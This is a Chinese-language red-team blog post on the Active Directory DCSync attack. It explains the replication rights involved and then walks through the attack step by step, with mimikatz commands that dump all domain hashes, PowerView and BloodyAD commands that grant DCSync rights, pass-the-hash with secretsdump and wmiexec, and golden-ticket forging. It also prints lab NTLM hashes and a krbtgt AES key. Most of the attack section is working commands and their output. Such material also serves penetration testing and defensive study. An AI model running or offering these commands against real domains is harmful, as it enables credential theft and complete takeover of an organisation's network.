Loading

DCSync

DCSync

DCSync技术简介

在域中,不同的DC之间,每隔15分钟会进行一次域数据的同步。当一个DC(辅助DC)想从其他DC(主DC)获取数据时,辅助DC会向主DC发起一个GetNCChanges请求。请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用的这个原理,通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求。

在DCSync功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。2015年8月,新版的mimikatz增加了DCSync的功能,该功能可以模仿一个域控DC,从真实的域控中请求数据,如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据。一般用来做权限维持

krbtgt账户:每个域控制器都有一个“krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务(TGS)加密的密钥。
黄金票据(Golden Ticket):简单来说,它能让黑客在拥有普通域用户权限和krbtgt hash的情况下,获取域管理员权限。
dcsync:mimikatz中的功能,可以有效地“假冒”一个域控制器,并可以向目标域控制器请求帐户密码数据。

崔神:可以简单理解为dump ntds.dit文件的手段之一

DCSync利用条件

在域内用户所具有的权限其实最根本是看用户的DACL,那么对于DCSync攻击来说,只要域用户拥有以下三条DACL即可向域控发出数据同步请求,从而dump去域内用户hash,这三条DACL分别为:

复制目录更改(DS-Replication-Get-Changes)

全部复制目录更改 (DS-Replication-Get-Changes-All )

在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)

默认以下用户存在该权限

DC本地Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户	企业管理员
域控制器的计算机/机器帐户

默认情况下,DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的

DCSync利用

0x01 Mimikatz DCSync dump hash

域管权限

log

privilege::debug

lsadump::dcsync /domain:sun.com /user:administrator
lsadump::dcsync /domain:sun.com /user:administrator /csv
lsadump::dcsync /domain:sun.com /all /csv

主要注意机器/域管账号/exchange机器账户/krbtgt

域内高权限账户可以直接通过secretdump拉ntds,krbtgt可以直接做黄金票据

0x02 域内用户+添加ACL规则

PowerView添加DCSync权限

DCSync是向域用户写入两条ACL(授予域用户复制目录更改(DS-Replication-Get-Changes)和全部复制目录更改 (DS-Replication-Get-Changes-All)),我们可以使用powerview中的Add-DomainObjectAcl函数写入DCSync权限

Set-ExecutionPolicy Bypass -Scope Process 
import-module .\PowerView.ps1 
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=red" -PrincipalIdentity saul -Rights DCSync -Verbose

Cmd shell执行

powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=redteam,DC=red\" -PrincipalIdentity saul -Rights DCSync -Verbose}"

PowerView查询DCSync权限

Import-Module  .\Powerview.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "DS-Replication-Get-Changes"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "Replicating Directory Changes"}		//返回较慢,没查出来

查询结果

PS C:\Users\Administrator\Desktop\tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "DS-Replic
ation-Get-Changes"}


ObjectDN                : DC=redteam,DC=red
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ExtendedRight
ObjectAceType           : DS-Replication-Get-Changes-In-Filtered-Set
AceFlags                : None
AceType                 : AccessAllowedObject
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-1359007890-1682372173-1631803504-1135
IdentityReferenceName   : saul
IdentityReferenceDomain : redteam.red
IdentityReferenceDN     : CN=saul,CN=Users,DC=redteam,DC=red
IdentityReferenceClass  : user

ObjectDN                : DC=redteam,DC=red
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ExtendedRight
ObjectAceType           : DS-Replication-Get-Changes
AceFlags                : None
AceType                 : AccessAllowedObject
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-1359007890-1682372173-1631803504-1135
IdentityReferenceName   : saul
IdentityReferenceDomain : redteam.red
IdentityReferenceDN     : CN=saul,CN=Users,DC=redteam,DC=red
IdentityReferenceClass  : user

ObjectDN                : DC=redteam,DC=red
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ExtendedRight
ObjectAceType           : DS-Replication-Get-Changes-All
AceFlags                : None
AceType                 : AccessAllowedObject
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-1359007890-1682372173-1631803504-1135
IdentityReferenceName   : saul
IdentityReferenceDomain : redteam.red
IdentityReferenceDN     : CN=saul,CN=Users,DC=redteam,DC=red
IdentityReferenceClass  : user

PowerView删除DCSync权限

powershell

Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=red" -PrincipalIdentity saul -Rights DCSync -Verbose

cmd shell

powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test -Rights DCSync -Verbose}"

Output:

PS C:\Users\Administrator\Desktop\tools> Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=red" -PrincipalIdentity s
aul -Rights DCSync -Verbose
详细信息: [Get-DomainSearcher] search base: LDAP://OWA.REDTEAM.RED/DC=REDTEAM,DC=RED
详细信息: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=saul)(name=saul)(displayname=saul))))
详细信息: [Get-DomainSearcher] search base: LDAP://OWA.REDTEAM.RED/DC=REDTEAM,DC=RED
详细信息: [Get-DomainObject] Extracted domain 'redteam.red' from 'DC=redteam,DC=red'
详细信息: [Get-DomainSearcher] search base: LDAP://OWA.REDTEAM.RED/DC=redteam,DC=red
详细信息: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=DC=redteam,DC=red)))
详细信息: [Remove-DomainObjectAcl] Removing principal CN=saul,CN=Users,DC=redteam,DC=red 'DCSync' from
DC=redteam,DC=red
详细信息: [Remove-DomainObjectAcl] Granting principal CN=saul,CN=Users,DC=redteam,DC=red rights GUID
'1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' on DC=redteam,DC=red
True
详细信息: [Remove-DomainObjectAcl] Granting principal CN=saul,CN=Users,DC=redteam,DC=red rights GUID
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' on DC=redteam,DC=red
True
详细信息: [Remove-DomainObjectAcl] Granting principal CN=saul,CN=Users,DC=redteam,DC=red rights GUID
'89e95b76-444d-4c62-991a-0facbeda640c' on DC=redteam,DC=red
True

0x03 域内用户dump hash

如果拿到了域内用户的权限,则可以在域内直接使用mimikatz去dump域控hash,注意:这里不需要使用debug权限也可以去直接dump哈希的,因为DCSync去向域控发起请求,并非本地操作,为网络请求。具有DCSync权限,则可以直接连接域控dump哈希

mimikatz.exe "log dcsync.txt"  "lsadump::dcsync /domain:redteam.red /all /csv " "exit"

Output:

C:\Users\saul\Desktop\tools\mimikatz_trunk\x64>mimikatz.exe "log dcsync.txt"  "lsadump::dcsync /doma
in:redteam.red /all /csv " "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # log dcsync.txt
Using 'dcsync.txt' for logfile : OK

mimikatz(commandline) # lsadump::dcsync /domain:redteam.red /all /csv
[DC] 'redteam.red' will be the domain
[DC] 'owa.redteam.red' will be the DC server
[DC] Exporting domain 'redteam.red'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  4a67f14d5cc4fa22618c8b609e832db6        514
1125    mail    518b98ad4178a53695dc997aa02d455c        66048
1129    gu      82a28aff9a3be5385b87c4928b54a66f        66048
1130    apt404  ba0b26eb2595bc0a639d986537433e5d        66048
1128    saulgoodman     c0e1f147edf7462134f07e389c5466e2        590336
1131    adduser 168df3659b5f75ab35645606839e5677        66048
1127    SQLSERVER-2008$ 8334b5a814513b5e9aef1ea6081af136        528384
1126    sqlserver       6a59bf65a4957ac67e5fb4e1c221939c        16843264
1000    OWA$    b35f876cd5f846ac274cca60e4e74d85        532480
500     Administrator   e5658c402f518ea1f488c415e4c0a2d4        512
1135    saul    518b98ad4178a53695dc997aa02d455c        66048
1138    WORK-7$ bdf94c1eaa420bdfd6b5b082d3f1ec68        4096

mimikatz(commandline) # exit
Bye!

C:\Users\saul\Desktop\tools\mimikatz_trunk\x64>

0x04 后利用 dump ntds

可以直接拿域控机器用户dump ntds

secretsdump.exe -hashes :b35f876cd5f846ac274cca60e4e74d85 redteam.red/OWA$@10.10.10.8 > ntds.txt

0x05 后利用 GoldenTicket

之前的Mimikatz Log搜集以下信息

/domain:redteam.red
# Object Security Id 去掉最后的uid
/sid:S-1-5-21-1359007890-1682372173-1631803504 
/aes256_hmac:67075a54cf9106904392e010bcd3caec5cc3d57d3c65b42065482ae53910ddbd

伪造一个存在的用户的票据才可以走kerberos,一般是域管

mimikatz.exe "kerberos::golden /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /aes256:67075a54cf9106904392e010bcd3caec5cc3d57d3c65b42065482ae53910ddbd /user:Administrator /ticket:goldadmin.kirbi"

导入黄金票据

# 导入
kerberos::ptt .\goldadmin.kirbi

检查票据存在,cmd中可以klist, mimikatz中如下:

# 列出本地票据
kerberos::list
# 清空票据
kerberos::purge

当前票据可以通过kerberos认证

dir \\owa\c$

此时因为伪造的域管票据,也可以直接dcsync拉hash,后续就直接pth拿到dc权限

pth

wmiexec.exe -hashes :e5658c402f518ea1f488c415e4c0a2d4 redteam.red/administrator@10.10.10.8

0x06 一些场景

当域内普通用户存在WriteDacl权限时,可以给自己写入DCSync的acl从而去接管整个域

# 通过PowerView查询指定用户是否存在WirteDacl权限
Get-DomainObjectAcl -Identity saul -domain redteam.red -ResolveGUIDs
Get-ObjectAcl -SamAccountName "saul" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}

之后可以通过powerview给自己写入acl来获得DCSync权限

powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=redteam,DC=red\" -PrincipalIdentity saul -Rights DCSync -Verbose}"

后续就是拉hash的操作了。

还有就是windows域默认可以运行以下组内用户登陆到域控中:

Enterprise Admins 
Domain Admins
Administrators
Backup Operators
Account Operators
Print Operators

这意味着如果一个攻击者能够拿下以上组中的一个账户,整个活动目录就可能被攻陷,因为这些用户组有登陆到域控的权限。
那么只要拿到该组中的其中一个用户的账号密码,即可登录到域控上,但是要注意必须是提权到system权限才可以dcsync,原因在于windows的域控机器账号默认可以进行DCSync

BloodyAD使用

PowerView添加不上DCSync权限时使用BloodyAD

# 获取所有用户
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 getChildObjects 'DC=redteam,DC=red' user

# 添加DCSync权限
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 setDCSync saul

# 查看机器属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户,刚创建时默认是10
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 getObjectAttributes 'DC=redteam,DC=red' ms-DS-MachineAccountQuota

# 获取组成员
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 getObjectAttributes Users member

# 获取最小密码长度策略
python3 bloodyAD.py -d redteam.red -u administrator -p :e5658c402f518ea1f488c415e4c0a2d4 --host 10.10.10.8 getObjectAttributes 'DC=redteam,DC=red' minPwdLength

Exchange 能接管整个域也是因为机器用户本身也具有DCSync权限,所以说打下了exchange就相当于接管了整个域

域内一般ip走NTLM 机器名走kerberos

Reference

https://forum.butian.net/share/1583

yydcs

posted @ 2022-07-17 23:16  Zh1z3ven  阅读(804)  评论(0编辑  收藏  举报